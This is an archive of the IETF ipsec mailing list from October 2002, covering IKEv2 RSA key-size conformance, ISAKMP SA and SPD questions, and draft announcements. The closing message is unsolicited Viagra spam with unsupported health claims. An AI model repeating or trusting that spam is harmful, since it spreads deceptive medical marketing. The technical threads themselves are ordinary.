that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 28 Oct 2002 09:07:57 -0800 To: "Housley, Russ" From: Paul Hoffman / VPNC Subject: Re: IKEv2 Key Size Conformance Requirements Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 12:01 PM -0500 10/28/02, Housley, Russ wrote: >No. A CA, not a IPsec implementation, creates certificates. Er, right, of course. How about: >> A conforming implementation MUST be able to sign and authenticate with >> X.509 >> certificates containing and signed by RSA keys of size 1024, 1536, and >> 2048 bits. It MAY process X.509 certificates of any size. If there is a >> limit on the length of a certificate chain, it MUST be at least 10. >> >> A conforming implementation MAY accept X.509 certificates containing >> and signed by non-RSA keys, such as DSS keys. --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Mon Oct 28 16:27:22 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9T0RLW10100; Mon, 28 Oct 2002 16:27:21 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA04679 Mon, 28 Oct 2002 18:48:27 -0500 (EST) Message-Id: <200210282348.g9SNmWrL011828@thunk.east.sun.com> From: Bill Sommerfeld To: Paul Hoffman / VPNC cc: "Housley, Russ" , ipsec@lists.tislabs.com Subject: Re: IKEv2 Key Size Conformance Requirements In-Reply-To: Your message of "Sat, 26 Oct 2002 12:32:14 PDT." Reply-to: sommerfeld@east.sun.com Date: Mon, 28 Oct 2002 18:48:31 -0500 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > Why are every multiple of 8 bits required? Does anyone use these in > real life? I could have sworn we discussed this here a couple months ago; check the archives. For what it's worth, I'll repeat what I said last time.. *in real life* I've seen both PGP and SSH implementations generate keys with moduli which were a bit or two shorter than the desired size. - Bill From owner-ipsec@lists.tislabs.com Tue Oct 29 06:22:50 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9TEMnW28430; Tue, 29 Oct 2002 06:22:49 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id IAA06157 Tue, 29 Oct 2002 08:47:21 -0500 (EST) Message-ID: <041c01c27f2b$f7cc5540$32204789@skeisamd01> From: "Suresh Singh K." To: Subject: Fw: ISAKMP-SA & Security Policy Date: Tue, 29 Oct 2002 14:47:11 +0530 Organization: Analog Devices Inc MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0419_01C27F5A.103F18F0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0419_01C27F5A.103F18F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, Looks like you are confused. The ISAKMP-SA is the SA created for = PHASE 1 . This SA is used to protect the PHASE 2 (quick mode) traffic and at the end PHASE 2 = IPSEC SAs are created. Normally PHASE 1 SA database is maintained in user space( assuming = user/kernel space exist). After PHASE 2 SAs are created, one normally create a PF_KEY socket and = use it to write the IPsec=20 SAs into the IPsec SAD (SA database). You are right in that PHASE1 SPI = is the concatination of=20 COOKIE of initiator and responder. Anyhow for PHASE 2 SPI, any unique = random number=20 generator can be used . Each PHASE 2 consists of two IPsec SAs , = inbound and outbound SA=20 with unique SPI. The SPD ( SA Policy Database) is configured differently. Some use = KEYNOTE mechanism. Other have their own proprietary implementation. For SPD you normally define = the policy based on IPsec=20 selectors for traffic going out and coming in.=20 Cheers ! Suresh Singh K. =20 ----- Original Message -----=20 From: Suresh Kumar=20 To: ipsec@lists.tislabs.com=20 Cc: dharkins@cisco.com ; carrel@ipsec.org=20 Sent: Monday, October 28, 2002 8:06 PM Subject: ISAKMP-SA & Security Policy=20 Hello list, I am a new bee to IPSec. I have learned from reading of IKE-2409 that, = ISAKMP-SA, SPI is an concatination of COOKIE of INitiator and COOKIE of = responder. Does this mean PF_KEY interface is not used to create SPI for = ISAKMP implementation ? Hence there will not any IPSec Policy Set for = this SPI ? and Quick Mode exchange is secured by the Keying Material = established during the 1St Phase ?. All these interpretations are = correct ? Please clarify. thanks=20 Suresh. -------------------------------------------------------------------------= ----- Do you Yahoo!? Y! Web Hosting - Let the expert host your web site ------=_NextPart_000_0419_01C27F5A.103F18F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hi,
    Looks like you are=20 confused.  The ISAKMP-SA is the SA created for PHASE 1 . This SA is = used
to protect the PHASE 2 (quick mode) = traffic and at=20 the end PHASE 2  IPSEC SAs are created.
Normally PHASE 1 SA  database is = maintained in=20 user space( assuming user/kernel space exist).
After PHASE 2 SAs are created, = one normally create a PF_KEY socket and use = it to write=20 the IPsec
SAs into the  IPsec = SAD (SA database). You are right in that PHASE1 SPI is the=20 concatination of
COOKIE  of initiator and = responder. Anyhow for=20 PHASE 2 SPI, any unique random number
generator can be used . Each PHASE = 2  consists=20 of two IPsec SAs , inbound and outbound SA
with unique SPI.
   The  SPD = ( SA=20  Policy Database) is = configured=20 differently. Some use KEYNOTE mechanism. Other
have their own proprietary = implementation. For SPD=20 you normally define the policy based on  IPsec
selectors for traffic going out and = coming in.=20
 
Cheers !
     Suresh Singh=20 K.
  
 
----- Original Message -----
From:=20 Suresh=20 Kumar
To: ipsec@lists.tislabs.com
Cc: dharkins@cisco.com ; carrel@ipsec.org=20
Sent: Monday, October 28, 2002 = 8:06=20 PM
Subject: ISAKMP-SA & = Security Policy=20

Hello list,

I am a new bee to IPSec. I have learned from reading of IKE-2409 = that,=20 ISAKMP-SA, SPI is an concatination of COOKIE of INitiator and COOKIE = of=20 responder. Does this mean PF_KEY interface is not used to create SPI = for=20 ISAKMP implementation ? Hence there will not any IPSec Policy Set for = this SPI=20 ? and Quick Mode exchange is secured by the Keying Material = established during=20 the 1St Phase ?. All these interpretations are correct ?

Please clarify.

thanks

Suresh.

 


Do you Yahoo!?
Y! Web = Hosting -=20 Let the expert host your web site ------=_NextPart_000_0419_01C27F5A.103F18F0-- From owner-ipsec@lists.tislabs.com Tue Oct 29 06:22:50 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9TEMoW28433; Tue, 29 Oct 2002 06:22:50 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id IAA06160 Tue, 29 Oct 2002 08:47:22 -0500 (EST) Message-Id: <200210291118.GAA28017@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:;;;;@tislabs.com;;; CC: ipsec@lists.tislabs.com, msec@securemulticast.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-bew-ipsec-signatures-00.txt Date: Tue, 29 Oct 2002 06:18:54 -0500 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : The Use of RSA Signatures within ESP and AH Author(s) : B. Weis Filename : draft-bew-ipsec-signatures-00.txt Pages : 7 Date : 2002-10-28 This memo describes the use of the RSA Signature algorithm [RSA] as an authentication algorithm within the revised IPSEC Encapsulating Security Payload [ESP] and the revised IPSEC Authentication Header [AH]. The use of a digital signature algorithm such as RSA provides origin authentication, even when ESP and AH are used to secure group data flows. Further information on the other components necessary for ESP and AH implementations is provided by [ROADMAP]. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-bew-ipsec-signatures-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-bew-ipsec-signatures-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-bew-ipsec-signatures-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-10-28163512.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-bew-ipsec-signatures-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-bew-ipsec-signatures-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-10-28163512.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Tue Oct 29 07:20:33 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9TFKWW00857; Tue, 29 Oct 2002 07:20:33 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA06350 Tue, 29 Oct 2002 09:47:12 -0500 (EST) From: "Housley, Russ" To: sommerfeld@east.sun.com Cc: ipsec@lists.tislabs.com Message-Id: <5.1.0.14.2.20021029093301.020e0a98@exna07.securitydynamics.com> X-Sender: rhousley@exna07.securitydynamics.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 29 Oct 2002 09:34:24 -0500 Subject: Re: IKEv2 Key Size Conformance Requirements In-Reply-To: <200210282348.g9SNmWrL011828@thunk.east.sun.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Bill: > > Why are every multiple of 8 bits required? Does anyone use these in > > real life? > >I could have sworn we discussed this here a couple months ago; check >the archives. > >For what it's worth, I'll repeat what I said last time.. *in real >life* I've seen both PGP and SSH implementations generate keys with >moduli which were a bit or two shorter than the desired size. This is actually an easy mistake. I was involved with an implementation that made this error. Fortunately, we caught it ourselves, and it was pretty easy to fix. Russ From owner-ipsec@lists.tislabs.com Tue Oct 29 15:06:06 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9TN65W28730; Tue, 29 Oct 2002 15:06:05 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA07304 Tue, 29 Oct 2002 17:25:58 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 From: Steve Bellovin To: ipsec@lists.tislabs.com Subject: guidelines for specifying the use of IPsec in other protocols Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 29 Oct 2002 17:26:01 -0500 Message-Id: <20021029222601.0F7157B68@berkshire.research.att.com> Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Folks in this group may be interested in draft-bellovin-useipsec-00.txt Abstract The Security Considerations sections of many Internet Drafts say, in effect, "just use IPsec". While this is sometimes correct, more often it will leave users without real, interoperable security mechanisms. This memo offers some guidance on when IPsec should and should not be specified. Note that at this point, it is a personal draft, and doesn't represent anyone's opinions but my own. --Steve Bellovin, http://www.research.att.com/~smb (me) http://www.wilyhacker.com ("Firewalls" book) From owner-ipsec@lists.tislabs.com Tue Oct 29 22:11:39 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9U6BcW23316; Tue, 29 Oct 2002 22:11:38 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id AAA08164 Wed, 30 Oct 2002 00:42:49 -0500 (EST) Message-ID: <055901c27fd7$289959b0$32204789@skeisamd01> From: "Suresh Singh K." To: "Suresh Kumar" Cc: References: <20021029225640.43569.qmail@web9406.mail.yahoo.com> Subject: Re: ISAKMP-SA & Security Policy Date: Wed, 30 Oct 2002 11:12:36 +0530 Organization: Analog Devices Inc MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi, >>What I understood is, For ISAKMP-SA, SPD will not be created. I mean to say, we will not run 'ipsecconf ' to let the IP stack know about >>ISAKMP-SPI details Yes, for ISAKMP-SA SPD is not required. Phase I just negotiates the ISAKMP-SA parameters and maintains a Phase I sa list. >>The Phase-I exachanges will be protected based on the session key created after the key exchange. This is unlike in IPSec SPI, where an SPD >>will be created after Phase-II exchange with 2 SPIs ?. Am I right ?. The SPD is not created after Phase-II. It's created initially . In fact the SPD, based on it's selectors indicates to IKE to start negotiating a New PHASE 1 with the designated peer , if the PHASE 1 for the peer is not yet established. The SPD consists of policies based on selectors like Source IP address, Destination IP address, Source port, Dest. port, IP address Range, Transport Protocols etc. In the user/kernel OS , the SPD is in the kernel. Cheers ! ----- Original Message ----- From: Suresh Kumar To: Suresh Singh K. Cc: ipsec@lists.tislabs.com Sent: Wednesday, October 30, 2002 4:26 AM Subject: Re: ISAKMP-SA & Security Policy Hello Suresh Singh, thank you very much for your reply. I am clear about the Phase-II, but not clear about Phase-I. What I understood is, For ISAKMP-SA, SPD will not be created. I mean to say, we will not run 'ipsecconf ' to let the IP stack know about ISAKMP-SPI details. The Phase-I exachanges will be protected based on the session key created after the key exchange. This is unlike in IPSec SPI, where an SPD will be created after Phase-II exchange with 2 SPIs ?. Am I right ?. Please answer thanks Suresh Kumar "Suresh Singh K." wrote: Hi, Looks like you are confused. The ISAKMP-SA is the SA created for PHASE 1 . This SA is used to protect the PHASE 2 (quick mode) traffic and at the end PHASE 2 IPSEC SAs are created. Normally PHASE 1 SA database is maintained in user space( assuming user/kernel space exist). After PHASE 2 SAs are created, one normally create a PF_KEY socket and use it to write the IPsec SAs into the IPsec SAD (SA database). You are right in that PHASE1 SPI is the concatination of COOKIE of initiator and responder. Anyhow for PHASE 2 SPI, any unique random number generator can be used . Each PHASE 2 consists of two IPsec SAs , inbound and outbound SA with unique SPI. The SPD ( SA Policy Database) is configured differently. Some use KEYNOTE mechanism. Other have their own proprietary implementation. For SPD you normally define the policy based on IPsec selectors for traffic going out and coming in. Cheers ! Suresh Singh K. ----- Original Message ----- From: Suresh Kumar To: ipsec@lists.tislabs.com Cc: dharkins@cisco.com ; carrel@ipsec.org Sent: Monday, October 28, 2002 8:06 PM Subject: ISAKMP-SA & Security Policy Hello list, I am a new bee to IPSec. I have learned from reading of IKE-2409 that, ISAKMP-SA, SPI is an concatination of COOKIE of INitiator and COOKIE of responder. Does this mean PF_KEY interface is not used to create SPI for ISAKMP implementation ? Hence there will not any IPSec Policy Set for this SPI ? and Quick Mode exchange is secured by the Keying Material established during the 1St Phase ?. All these interpretations are correct ? Please clarify. thanks Suresh. Do you Yahoo!? Y! Web Hosting - Let the expert host your web site Do you Yahoo!? HotJobs - Search new jobs daily now From owner-ipsec@lists.tislabs.com Wed Oct 30 06:44:02 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9UEi1W20253; Wed, 30 Oct 2002 06:44:02 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA08816 Wed, 30 Oct 2002 09:12:07 -0500 (EST) Message-ID: <20021029225640.43569.qmail@web9406.mail.yahoo.com> Date: Tue, 29 Oct 2002 14:56:40 -0800 (PST) From: Suresh Kumar Subject: Re: ISAKMP-SA & Security Policy To: "Suresh Singh K." Cc: ipsec@lists.tislabs.com In-Reply-To: <03be01c27f00$d7d60450$32204789@skeisamd01> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1265171586-1035932200=:43515" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --0-1265171586-1035932200=:43515 Content-Type: text/plain; charset=us-ascii Hello Suresh Singh, thank you very much for your reply. I am clear about the Phase-II, but not clear about Phase-I. What I understood is, For ISAKMP-SA, SPD will not be created. I mean to say, we will not run 'ipsecconf ' to let the IP stack know about ISAKMP-SPI details. The Phase-I exachanges will be protected based on the session key created after the key exchange. This is unlike in IPSec SPI, where an SPD will be created after Phase-II exchange with 2 SPIs ?. Am I right ?. Please answer thanks Suresh Kumar "Suresh Singh K." wrote:Hi, Looks like you are confused. The ISAKMP-SA is the SA created for PHASE 1 . This SA is usedto protect the PHASE 2 (quick mode) traffic and at the end PHASE 2 IPSEC SAs are created.Normally PHASE 1 SA database is maintained in user space( assuming user/kernel space exist).After PHASE 2 SAs are created, one normally create a PF_KEY socket and use it to write the IPsec SAs into the IPsec SAD (SA database). You are right in that PHASE1 SPI is the concatination of COOKIE of initiator and responder. Anyhow for PHASE 2 SPI, any unique random number generator can be used . Each PHASE 2 consists of two IPsec SAs , inbound and outbound SA with unique SPI. The SPD ( SA Policy Database) is configured differently. Some use KEYNOTE mechanism. Otherhave their own proprietary implementation. For SPD you normally define the policy based on IPsec selectors for traffic going out and coming in. Cheers ! Suresh Singh K.! ! ----- Original Message ----- From: Suresh Kumar To: ipsec@lists.tislabs.com Cc: dharkins@cisco.com ; carrel@ipsec.org Sent: Monday, October 28, 2002 8:06 PMSubject: ISAKMP-SA & Security Policy Hello list, I am a new bee to IPSec. I have learned from reading of IKE-2409 that, ISAKMP-SA, SPI is an concatination of COOKIE of INitiator and COOKIE of responder. Does this mean PF_KEY interface is not used to create SPI for ISAKMP implementation ? Hence there will not any IPSec Policy Set for this SPI ? and Quick Mode exchange is secured by the Keying Material established during the 1St Phase ?. All these interpretations are correct ? Please clarify. thanks Suresh. --------------------------------- Do you Yahoo!? Y! Web Hosting - Let the expert host your web site --------------------------------- Do you Yahoo!? HotJobs - Search new jobs daily now --0-1265171586-1035932200=:43515 Content-Type: text/html; charset=us-ascii

Hello Suresh Singh,

thank you very much for your reply. I am clear about the Phase-II, but not clear about Phase-I. What I understood is, For ISAKMP-SA, SPD will not be created. I mean to say, we will not run 'ipsecconf ' to let the IP stack know about ISAKMP-SPI details. The Phase-I exachanges will be protected based on the session key created after the key exchange. This is unlike in IPSec SPI, where an SPD will be created after Phase-II exchange with 2 SPIs ?. Am I right ?. Please answer

thanks

Suresh Kumar

 "Suresh Singh K." <sureshsingh.keisam@analog.com> wrote:

Hi,
    Looks like you are confused.  The ISAKMP-SA is the SA created for PHASE 1 . This SA is used
to protect the PHASE 2 (quick mode) traffic and at the end PHASE 2  IPSEC SAs are created.
Normally PHASE 1 SA  database is maintained in user space( assuming user/kernel space exist).
After PHASE 2 SAs are created, one normally create a PF_KEY socket and use it to write the IPsec
SAs into the  IPsec SAD (SA database). You are right in that PHASE1 SPI is the concatination of
COOKIE  of initiator and responder. Anyhow for PHASE 2 SPI, any unique random number
generator can be used . Each PHASE 2  consists of two IPsec SAs , inbound and outbound SA
with unique SPI.
   The  SPD ( SA  Policy Database) is configured differently. Some use KEYNOTE mechanism. Other
have their own proprietary implementation. For SPD you normally define the policy based on  IPsec
selectors for traffic going out and coming in.
 
Cheers !
     Suresh Singh K.
  
 
----- Original Message -----
Sent: Monday, October 28, 2002 8:06 PM
Subject: ISAKMP-SA & Security Policy

Hello list,

I am a new bee to IPSec. I have learned from reading of IKE-2409 that, ISAKMP-SA, SPI is an concatination of COOKIE of INitiator and COOKIE of responder. Does this mean PF_KEY interface is not used to create SPI for ISAKMP implementation ? Hence there will not any IPSec Policy Set for this SPI ? and Quick Mode exchange is secured by the Keying Material established during the 1St Phase ?. All these interpretations are correct ?

Please clarify.

thanks

Suresh.

 


Do you Yahoo!?
Y! Web Hosting - Let the expert host your web site


Do you Yahoo!?
HotJobs - Search new jobs daily now --0-1265171586-1035932200=:43515-- From owner-ipsec@lists.tislabs.com Wed Oct 30 07:53:31 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9UFrUW23244; Wed, 30 Oct 2002 07:53:30 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA08925 Wed, 30 Oct 2002 10:13:43 -0500 (EST) Date: Thu, 31 Oct 2002 03:29:52 +1300 (NZDT) Message-ID: <200210301429.DAA242004@ruru.cs.auckland.ac.nz> From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: ipsec@lists.tislabs.com Subject: Fwd: Re: IKEv2 Key Size Conformance Requirements Sender: owner-ipsec@lists.tislabs.com Precedence: bulk [Please CC replies to me, since I'm not on the list] Paul Hoffman / VPNC writes: >At 4:07 PM -0500 10/28/02, Stephen Kent wrote: >>At 9:07 AM -0800 10/28/02, Paul Hoffman / VPNC wrote: >>>At 12:01 PM -0500 10/28/02, Housley, Russ wrote: >>>>No. A CA, not a IPsec implementation, creates certificates. >>> >>>Er, right, of course. How about: >>> >>>>>A conforming implementation MUST be able to sign and authenticate with X.509 >>>>>certificates containing and signed by RSA keys of size 1024, 1536, and >>>>>2048 bits. It MAY process X.509 certificates of any size. If there is a >>>>>limit on the length of a certificate chain, it MUST be at least 10. >>>>> >>>>> A conforming implementation MAY accept X.509 certificates containing >>>>> and signed by non-RSA keys, such as DSS keys. >> >>I'd like to second Russ's suggestion of making 1024 & 2048-bit RSA keys >>the only MUSTs for now, re the size of keys used for cert signing. > >The reason I included 1536 is that I see this setting in CA products (I >haven't checked out "in the wild" and am not sure that such a survey would >make any sense). Is there an issue with 1536 that makes us not want to >include it? I don't recall ever seeing a 1536-bit key being used, unless it was one that I archived without looking at it much (I'd need a grepasn1 alongside dumpasn1 to actually check each cert). As a rule of thumb, where a few years ago you had 512-bit certs with the odd gold-plated 1024-bit one for CAs, you're now seeing 1024-bit with 2048-bit gold-plated ones for CAs. 1536 seems to have been skipped entirely (I know that in several cases 2048 is used because that's the biggest the CA hardware will do, rather than because of any real security evaluation). If anyone wants a rigorous check of certs, I'll see if I can come up with a RE which lets me check dumpasn1 output for the key size. Peter. From owner-ipsec@lists.tislabs.com Wed Oct 30 11:07:23 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9UJ7NW05763; Wed, 30 Oct 2002 11:07:23 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA09507 Wed, 30 Oct 2002 13:31:56 -0500 (EST) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: <200210301429.DAA242004@ruru.cs.auckland.ac.nz> References: <200210301429.DAA242004@ruru.cs.auckland.ac.nz> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Wed, 30 Oct 2002 10:31:57 -0800 To: pgut001@cs.auckland.ac.nz (Peter Gutmann), ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: Re: Fwd: Re: IKEv2 Key Size Conformance Requirements Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 3:29 AM +1300 10/31/02, Peter Gutmann wrote: >I don't recall ever seeing a 1536-bit key being used, unless it was one that I >archived without looking at it much (I'd need a grepasn1 alongside dumpasn1 to >actually check each cert). As a rule of thumb, where a few years ago you had >512-bit certs with the odd gold-plated 1024-bit one for CAs, you're now seeing >1024-bit with 2048-bit gold-plated ones for CAs. 1536 seems to have been >skipped entirely (I know that in several cases 2048 is used because that's the >biggest the CA hardware will do, rather than because of any real security >evaluation). If anyone wants a rigorous check of certs, I'll see if I can >come up with a RE which lets me check dumpasn1 output for the key size. > >Peter. Peter is generally the best Keeper Of Interesting Certs around, so I'll trust his judgement on this. If no one here says "1536 is important to me", I'm fine with taking it out of the MUSTs. --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Wed Oct 30 11:50:38 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9UJobW08928; Wed, 30 Oct 2002 11:50:37 -0800 (PST) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA09612 Wed, 30 Oct 2002 14:21:22 -0500 (EST) From: "Pearse Kennedy" To: "Peter Gutmann" , Subject: RE: Re: IKEv2 Key Size Conformance Requirements Date: Wed, 30 Oct 2002 17:35:41 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <200210301429.DAA242004@ruru.cs.auckland.ac.nz> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi List There was some discussion on a recent issue of crytogram about recommended key sizes - basically the opinion was that 1024 bits was no longer long enough for "high" security requirements. Based on this, and published research by PWC, we decided to use 1280 bit key sizes for our own certs. I.e. least increase necessary (in steps of 256 bits) to give an "adequate" level of security. They are soft certs, and have been used in a number of S/MIME and SSL implementations. The key size hasn't caused problems with any software yet. It is still an open question as to how many smartcards would be able to generate keys of any size larger than 1024. Unfortunatly, we haven't used these certs with any IPsec devices, so I don't know if they would cause problems with IPsec implementations out there. In general, my experience of key lengths in deployment has been user certs - 1024 bits CA certs - 2048 bits Pearse -----Original Message----- From: owner-ipsec@lists.tislabs.com [mailto:owner-ipsec@lists.tislabs.com]On Behalf Of Peter Gutmann Sent: 30 October 2002 14:30 To: ipsec@lists.tislabs.com Subject: Fwd: Re: IKEv2 Key Size Conformance Requirements [Please CC replies to me, since I'm not on the list] Paul Hoffman / VPNC writes: >At 4:07 PM -0500 10/28/02, Stephen Kent wrote: >>At 9:07 AM -0800 10/28/02, Paul Hoffman / VPNC wrote: >>>At 12:01 PM -0500 10/28/02, Housley, Russ wrote: >>>>No. A CA, not a IPsec implementation, creates certificates. >>> >>>Er, right, of course. How about: >>> >>>>>A conforming implementation MUST be able to sign and authenticate with X.509 >>>>>certificates containing and signed by RSA keys of size 1024, 1536, and >>>>>2048 bits. It MAY process X.509 certificates of any size. If there is a >>>>>limit on the length of a certificate chain, it MUST be at least 10. >>>>> >>>>> A conforming implementation MAY accept X.509 certificates containing >>>>> and signed by non-RSA keys, such as DSS keys. >> >>I'd like to second Russ's suggestion of making 1024 & 2048-bit RSA keys >>the only MUSTs for now, re the size of keys used for cert signing. > >The reason I included 1536 is that I see this setting in CA products (I >haven't checked out "in the wild" and am not sure that such a survey would >make any sense). Is there an issue with 1536 that makes us not want to >include it? I don't recall ever seeing a 1536-bit key being used, unless it was one that I archived without looking at it much (I'd need a grepasn1 alongside dumpasn1 to actually check each cert). As a rule of thumb, where a few years ago you had 512-bit certs with the odd gold-plated 1024-bit one for CAs, you're now seeing 1024-bit with 2048-bit gold-plated ones for CAs. 1536 seems to have been skipped entirely (I know that in several cases 2048 is used because that's the biggest the CA hardware will do, rather than because of any real security evaluation). If anyone wants a rigorous check of certs, I'll see if I can come up with a RE which lets me check dumpasn1 output for the key size. Peter. From TennesonChott@anfmail.com Wed Oct 30 14:51:33 2002 Received: from yarrina.connect.com.au (yarrina.connect.com.au [192.189.54.17]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9UMpRW19314 for ; Wed, 30 Oct 2002 14:51:27 -0800 (PST) Received: from 210.9.100.214 (mon132471-44.gw.connect.com.au [210.9.100.214]) by yarrina.connect.com.au (Postfix) with SMTP id 90EC42FC4E2; Thu, 31 Oct 2002 09:51:19 +1100 (EST) Date: Wed, 23 Oct 2002 03:02:10 -0300 To: Keep Yung Reply-To: matsonfenner64mi@yahoo.com Subject: Most men will have an isolated erection problem at some time in their lives (cs) From: Leacock Baseman Organization: 0d X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Mailer: Microsoft Outlook, Build 10.0.2627 Errors-To: X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="1576rg6w8v5Dnln070kiJX3OqngTFce---Minemindfxxyf8Y0d4pfkbme5p118Ea=" Content-Transfer-Encoding: 7bit Message-Id: <20021030225119.90EC42FC4E2@yarrina.connect.com.au> --1576rg6w8v5Dnln070kiJX3OqngTFce---Minemindfxxyf8Y0d4pfkbme5p118Ea= Content-Transfer-Encoding: 7bit Content-Type: text/html; charset="ISO-8859-1"
Increase Your Sexual Performance Right Now!
Take control of your sex life, Order Viagra Online Now!

The drug Viagra is a revolutionary way to treat impotence and enhance any man's sex life.

To order online click here

The drug Viagra is a revolutionary way to treat impotence and enhance any man's sex life.

It is a Safe and Effective way to increase a man's libido and has proven to be the most successful treatment for impotence.
